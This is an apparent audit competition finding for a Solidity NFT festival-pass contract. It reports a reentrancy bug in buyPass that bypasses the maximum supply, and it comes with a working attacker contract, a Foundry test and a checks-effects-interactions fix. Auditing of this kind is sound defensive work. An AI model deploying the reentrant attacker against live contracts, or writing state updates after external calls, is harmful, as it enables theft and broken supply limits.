Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in buyPass allows bypass of max supply constraint via ERC1155 callback

Root + Impact

Reentrancy in buyPass allows bypass of max supply constraint via ERC1155 callback

Description

The FestivalPass::buyPass function mints an ERC1155 pass to the buyer and increments the internal supply tracker passSupply. However, the state update occurs after the external call to _mint(...) which triggers the ERC1155 receiver hook onERC1155Received.

A malicious contract implementing onERC1155Received can reenter buyPass() before passSupply[collectionId] is incremented thereby bypassing the passSupply < passMaxSupply check and minting more tokens than allowed.

function buyPass(uint256 collectionId) external payable {
...
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, ""); // triggers onERC1155Received
@> ++passSupply[collectionId]; // updated *after* reentrancy point
...
}

Risk

Likelihood: High
Any malicious contract can exploit this vulnerability when buyPass() is called and the ERC1155 onERC1155Received callback is triggered.

Impact: High
Attackers can bypass the maximum supply constraints defined by the organizer, violating intended limits and trust assumptions.

Proof of Concept

Attacker Contract (ERC1155 Reentrant)

import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
contract ReentrancyAttacker is IERC1155Receiver {
FestivalPass public festivalPass;
uint256 price;
bool public attacked;
constructor(address _festivalPass) {
festivalPass = FestivalPass(_festivalPass);
}
function attack() external payable {
attacked = false;
price = msg.value;
festivalPass.buyPass{value: price}(1);
}
// This function gets called when the ERC1155 token is received
function onERC1155Received(address operator, address from, uint256 id, uint256 value, bytes calldata data)
external
override
returns (bytes4)
{
if (!attacked) {
attacked = true;
// Re-enter festivalPass.buyPass
festivalPass.buyPass{value: price}(id);
}
return this.onERC1155Received.selector;
}
// Required override
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external pure override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
}

Foundry Test Case

function test_reentrancyInBuyPass() public {
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 1);
ReentrancyAttacker attacker = new ReentrancyAttacker(address(festivalPass));
vm.deal(address(attacker), 5 * GENERAL_PRICE);
attacker.attack{value: GENERAL_PRICE}();
assertEq(attacker.attacked(), true);
assertEq(festivalPass.balanceOf(address(attacker), 1), 2);
assertEq(festivalPass.passSupply(1), 2);
assertEq(festivalPass.passMaxSupply(1), 1);
}

Recommended Mitigation

Use CEI pattern

- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId]; // move state update BEFORE external call
+ _mint(msg.sender, collectionId, 1, "");
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.